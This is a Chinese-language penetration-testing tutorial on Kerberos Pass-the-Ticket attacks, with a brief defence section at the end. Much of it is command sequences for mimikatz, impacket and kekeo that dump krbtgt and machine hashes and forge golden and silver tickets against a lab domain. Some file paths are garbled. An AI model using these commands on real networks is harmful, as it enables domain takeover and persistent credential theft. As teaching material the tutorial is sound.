一、票据传递介绍
0x01 票据传递介绍
票据传递攻击PTT(Pass The Ticket)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持。黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值,白银票据攻击利用的前提是得到了域内服务账号的NTLM哈希或AES-256的值。票据传递攻击常用来做域控权限维持。
0x02 域内用户介绍
在上图中,主要关注guest和krbtgt账号。guest默认关闭,krbtgt为域内默认创建的账号。了解Kerberos协议的就会知道,TGT是由KDC的密钥生成的,其实域中每个用户的票据都是由krbtgt的密码Hash来计算生成的,因此只要拿到krbtgt的密码Hash,就可以随意伪造票据,进而使用票据登录域控制器。
0x03 为什么使用票据传递
因为如果想要使用mimikatz的hash传递,必须具有本地管理员权限。如果使用票据传递PTT(Pass The Ticket),则不需要使用管理员权限,仍旧可以进行横向移动。
二、票据介绍
0x01 黄金票据介绍
假设域内存在一个 SID 为 502 的域账号 krbtgt 。krbtgt 是 KDC(密钥发放中心)服务使用的账号,属于 Domain Admins 组,在域环境中,每个用户账号票据都是由 krbtgt 生成的,如果攻击者拿到了 krbtgt 的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。
使用krbtgt用户hash生成的票据被称为黄金票据(Golden Ticket),黄金票据的原理是:通过伪造TGT(票据授权票据),没有与KDC(密钥发放中心)进行AS-REQ(认证服务请求)、AS-REP(认证服务响应)通信,直接进行TGS-REQ(票据授权票据请求),向KDC(密钥发放中心)进行请求以获得高权限票据,可以说有了黄金票据就有了域内的最高权限。
0x02 黄金票据制作条件
(1):域名称
(2):域的SID值
(3):域的krbtgt账户密码HASH
(4):伪造用户名,可以是任意的
0x03 白银票据介绍
白银票据(Silver Ticket):即伪造的TGS(票据授权服务)票据,也称ST(服务票据,也就是在第三次认证中主要用于Client和Server通信上)。通过伪造的TGS(票据授权服务),可以直接发送给Server,访问指定的某个服务,来进行攻击。此过程无需KDC(密钥发放中心),可以绕过域控,很少留下日志。黄金票据使用krbtgt账号的密码散列值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获取域控权限。而白银票据会通过相应的服务账号来伪造TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。
0x04 白银票据制作条件
(1):域名称
(2):域的SID
(3):域控服务器账户的NTLM-Hash(获取方法是可能域内某主机的hash和域控服务器的hash相同)
(4):伪造任意的用户名
三、使用mimikatz进行票据传递
0x01 使用mimikatz进行黄金票据传递
(1):登录域控获取域控管理员票据信息
在这里要说明一下,票据传递是进行权限维持的手段,不是获取域控权限的手段。使用票据传递是已经拿下了域控服务器,为了进行后续权限维持,因此,在进行票据传递时,是已经拿下了域控,所以在域控上上传mimikatz等工具也是合理的。
privilege::debug
lsadump::dcsync /user:krbtgt
我们需要记录如下内容:
①SID,记住SID是不包含-502的
②hash NTLM
③aes256_hmac
(2):在域内某成员主机上生成黄金票据并导入
-
方法一:
privilege::debug #提权
kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域控 /sid:域控的sid值 /krbtgt:krbtgt的哈希 /ptt #生成票据并导入
如下所示:
privilege::debug
kerberos::golden /user:administrator /domain:wwl /sid:S-1-5-21-1335816226-58791740-2223385448 /krbtgt:fead10ee1fca9e0045fb7ee4387a18a3 /ptt
-
方法二:
privilege::debug #提权
kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域控的sid值 /aes256:aes加密串 /ptt #生成票据并导入
如下所示:
privilege::debug
kerberos::golden /user:administrator /domain:wwl.com /sid:S-1-5-21-1335816226-58791740-2223385448 /aes256:42f4f174568fa1208117646f6654b754f7f76e63ba2f6af8e5432888f0995eb6 /ptt
(3):查看票据
-
方法一:在域成员主机上的CMD窗口可以查看到该票据
klist
-
方法二:在mimikatz中查看票据
privilege::debug
kerberos::list
kerberos::tgt
(4):进行磁盘映射
net use j: \192.168.223.10c$
dir j:
(5):删除票据
privilege::debug #提升权限
kerberos::purge #删除票据
0x02 使用mimikatz进行白银票据传递
白银票据会通过相应的服务账号来伪造TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。
(1):使用mimikatz获取域内服务器hash
说明:黄金票据主要是要获取域控的krbtgt用户的NTLM值,这个是需要经过域控的,而白银票据是直接在域内主机上使用mimikatz抓取域内主机账号NTLM(该账号的NTLM值与域控的NTLM值相同),因此两者是有差别的。相对来说,白银票据更加隐蔽,不需要经过域控。
privilege::Debug
sekurlsa::logonpasswords
(2):进行白银票据传递
kerberos::golden /domain:域控 /sid:域控的sid值 /target:域控主机名 /service:cifs /rc4:hsah /user:要伪造的域用户(我们这一般写域管理员) /ptt #生成票据并导入
如下所示:
kerberos::golden /domain:wwl.com /sid:S-1-5-21-1335816226-58791740-2223385448 /target:WIN-LUG1HV7BGTV.wwl.com /service:cifs /rc4:afffeba176210fad4628f0524bfe1942 /user:administrator /ptt
(3):查看票据
klist #命令行执行
(4):访问域控的C盘
dir \WIN-LUG1HV7BGTVc$
四、使用impacket进行票据传递
0x01 使用impacket进行黄金票据传递
(1):登录域控获取域控管理员票据信息
privilege::debug
lsadump::dcsync /user:krbtgt
(2):清空票据
klist purge
(3):制作ccache文件
python ticketer.py -nthash fead10ee1fca9e0045fb7ee4387a18a3 -domain-sid S-1-5-21-1335816226-58791740-2223385448 -domain wwl.com administrator
(4):更改环境变量
路径为文件administrator.ccache存储的位置
set KRB5CCNAME=C:impacketadministrator.ccache
(5):验证成果
python wmiexec.py wwl.com/administrator@WIN-LUG1HV7BGTV -k -no-pass
获取域控权限。
注意:说一个容易踩坑的点,之前没有绑定域名,访问之后直接会连接外网,可以直接修改hosts文件,进行域名绑定。
五、使用kekeo进行票据传递
0x01 使用kekeo进行黄金票据传递
(1):下载kekeo
下载链接:https://github.com/gentilkiwi/kekeo/releases
(2):获取域用户NTLM Hash
privilege::debug
sekurlsa::logonpasswords
(3):使用kekeo生成票据文件
kekeo // 进入kekeo
tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash //生成票据
如下所示:
kekeo.exe "tgt::ask /user:administrator /domain:wwl.com /ntlm:AFFFEBA176210FAD4628F0524BFE1942"
在域内主机win7上尝试失败了,在域内主机win10上尝试成功了。
会生成一个文件[email protected][email protected]
(4):清除其他票据
kerberos::purge // 清除内存中的其他票据
(5):导入票据
kerberos::ptt TGT_administrator@WWL.COM_krbtgt~wwl.com@WWL.COM.kirbi // 导入票据
(6):退出kekeo
exit
(7):查看域控磁盘
dir \域控主机名c$
如下所示:
dir \WIN_LUG1HV7BGTVc$
成功获取域控C盘内容。
六、黄金票据和白银票据区别
0x01 访问权限不同
-
黄金票据Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限
-
白银票据Silver Ticket:伪造TGS,只能访问指定的服务
0x02 加密方式不同
-
Golden Ticket由krbtgt的Hash加密
-
Silver Ticket 由服务账号(通常为计算机账户)Hash加密
0x03 认证流程不同
-
Golden Ticket的利用过程需要访问域控
-
Silver Ticket不需要
0x04 隐蔽性不同
-
白银票据依赖于服务账号的密码散列值,而黄金票据需要利用krbtgt账号的密码散列值,因此白银票据更隐蔽。
七、票据传递总结
0x01 注意事项
(1):使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误。
(2):票据文件注入内存的默认有效时间为10小时。
(3):在目标机器上不需要本地管理员权限就可以进行票据传递攻击。
0x02 防御方法
(1):黄金票据:从攻击面来看,获取krbtgt用户的hash后,可以在域中 进行持久性的隐藏,并且日志无法溯源,但是需要拿到DC权限, 使用黄金票据能够在一个域环境中长时间控制整个域。从防御角度来看,需要经常更新krbtgt的密码,才能够使得原有的 票据失效。最根本的办法是不允许域管账户登录其他服务器。
(2):白银票据:从攻击面来看,伪造白银票据的难度比伪造黄金票据的 难度较小,因为一个域中的服务器如果对外的话,非常容易被入侵, 并且容易被转储Server Hash。从防御角度来看,需要开启PAC认证,但这会降低认证效率,增加 DC的负担,最根本的还是要加固服务器本身对外的服务。
本文始发于微信公众号(零度安全攻防实验室):PTT(Pass The Ticket)票据传递攻击分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论